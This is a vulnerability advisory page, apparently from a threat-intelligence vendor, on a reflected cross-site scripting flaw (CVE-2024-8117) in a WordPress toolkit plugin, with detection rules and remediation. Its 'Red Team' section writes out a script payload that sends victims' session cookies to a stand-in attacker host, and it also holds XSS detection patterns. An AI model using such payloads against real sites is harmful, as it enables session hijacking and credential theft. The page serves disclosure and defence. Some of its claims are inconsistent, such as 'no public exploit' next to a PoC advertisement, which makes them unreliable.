CVE-2024-8117
Executive Summary
CVE-2024-8117 is a reflected cross-site scripting (XSS) vulnerability in the The Ultimate WordPress Toolkit – WP Extended plugin for WordPress, affecting all versions up to and including 3.0.8. The flaw resides in the selected_option parameter, which is insufficiently sanitized and escaped. An unauthenticated attacker can inject arbitrary web scripts that execute when a victim clicks a crafted link. The CVSS score is 6.1 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. No public exploit code or Nuclei template is available, but the vulnerability is trivial to exploit manually.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the WordPress dashboard or via direct ZIP upload are at risk. The plugin is not available on NPM, PyPI, Go, or Ruby registries. The supply chain risk is moderate because the plugin is widely used and the vendor has not yet released a patch.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is launched remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – Unauthenticated attacker.
- User Interaction (UI): Required (R) – Victim must click a link.
- Scope (S): Changed (C) – The injected script can affect other resources.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. The vulnerability requires user interaction but can lead to session hijacking, credential theft, or defacement.
Deep Dive & Mechanics
The WP Extended plugin provides a unified toolkit for WordPress site management. The vulnerability exists in a component that processes the selected_option parameter via a GET request. The plugin fails to sanitize user input before reflecting it in the HTML response. An attacker can craft a URL like:
https://target.com/wp-admin/admin-ajax.php?action=wpextended_ajax&selected_option=<script>alert('XSS')</script>
When an authenticated administrator or editor clicks this link, the script executes in the context of their session. The lack of output escaping allows arbitrary HTML/JavaScript injection.
Vulnerable vs. Patched Code
Vulnerable Code (version <= 3.0.8):
// In some AJAX handler
$selected_option = $_GET['selected_option'];
echo '<option value="' . $selected_option . '">' . $selected_option . '</option>';
Patched Code (hypothetical fix):
$selected_option = sanitize_text_field($_GET['selected_option']);
echo '<option value="' . esc_attr($selected_option) . '">' . esc_html($selected_option) . '</option>';
The fix uses sanitize_text_field() to strip malicious input and esc_attr()/esc_html() to safely output the value.
Exploitation & Lab Setup
Red Team
Manual Exploitation:
- Identify a WordPress site running WP Extended <= 3.0.8.
- Craft a malicious URL:
https://target.com/wp-admin/admin-ajax.php?action=wpextended_ajax&selected_option=<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Send the link to an authenticated user (e.g., via email or social engineering).
- When the user clicks, their session cookie is exfiltrated to the attacker's server.
Automated Exploitation (using curl):
curl -v "https://target.com/wp-admin/admin-ajax.php?action=wpextended_ajax&selected_option=<script>alert(1)</script>"
Blue Team
Detection:
- Monitor web server logs for requests to
admin-ajax.phpwithaction=wpextended_ajaxand suspiciousselected_optionparameters. - Look for patterns like
<script,onerror=,javascript:in theselected_optionparameter.
Honeypot:
- Deploy a fake WordPress site with WP Extended and monitor for XSS probes.
Indicators of Compromise (IOCs)
- URL Pattern:
*/wp-admin/admin-ajax.php?action=wpextended_ajax&selected_option=* - HTTP Request Parameter:
selected_optioncontaining<script>tags or event handlers. - Referer Header: Suspicious referrers (e.g., attacker-controlled domains).
- User-Agent: Unusual user agents (e.g., curl, wget, custom scripts).
Detection Engineering
YARA Rule
rule CVE_2024_8117_WP_Extended_XSS {
meta:
description = "Detects reflected XSS attempts against WP Extended plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-8117"
strings:
$param = "selected_option="
$xss1 = /<script[^>]*>/i
$xss2 = /on\w+\s*=/i
$xss3 = /javascript\s*:/i
condition:
$param and ($xss1 or $xss2 or $xss3)
}
Sigma Rule
title: Reflected XSS via WP Extended selected_option Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts against WP Extended plugin (CVE-2024-8117)
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains: "action=wpextended_ajax"
cs-uri-query|contains: "selected_option="
filter:
cs-uri-query|contains:
- "<script"
- "onerror="
- "javascript:"
condition: selection and filter
falsepositives:
- Legitimate use of special characters in admin panels
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-8117 WP Extended Reflected XSS Attempt"; flow:to_server,established; content:"action=wpextended_ajax"; http_uri; content:"selected_option="; http_uri; pcre:"/(<script|on\w+=|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the WP Extended plugin until a patch is released.
- Workaround: Implement a Web Application Firewall (WAF) rule to block requests containing
selected_option=<scriptor similar patterns. - Patch: Monitor the WordPress plugin repository for an update. Apply version 3.0.9 or later when available.
- User Education: Train users not to click suspicious links, especially those containing
admin-ajax.php. - Code Review: If you maintain the plugin, apply input sanitization and output escaping as shown in the patched code example.
Valters IT – DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.